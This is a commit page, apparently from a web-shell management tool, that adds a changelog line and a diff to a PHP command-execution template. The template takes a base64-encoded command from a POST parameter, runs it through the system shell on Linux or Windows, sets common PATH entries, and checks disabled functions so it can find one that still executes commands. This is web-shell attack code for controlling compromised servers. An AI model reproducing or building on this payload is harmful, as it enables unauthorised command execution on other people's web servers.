Commit 14d84617 authored by Medicean's avatar Medicean

(Enhance:Core) PHP 执行命令模版代码默认加入常见环境变量

issue from: https://www.t00ls.net/viewthread.php?tid=52205
parent 30f365a1
......@@ -7,6 +7,7 @@
### 核心模块
* 修复 PHP4 命令执行语法错误 #199 (thx @ier005)
* PHP 执行命令模版代码默认加入常见环境变量 (issue from: https://www.t00ls.net/viewthread.php?tid=52205)
### 系统设置
......
......@@ -8,6 +8,11 @@ module.exports = (arg1, arg2) => ({
$s=base64_decode($_POST["${arg2}"]);
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment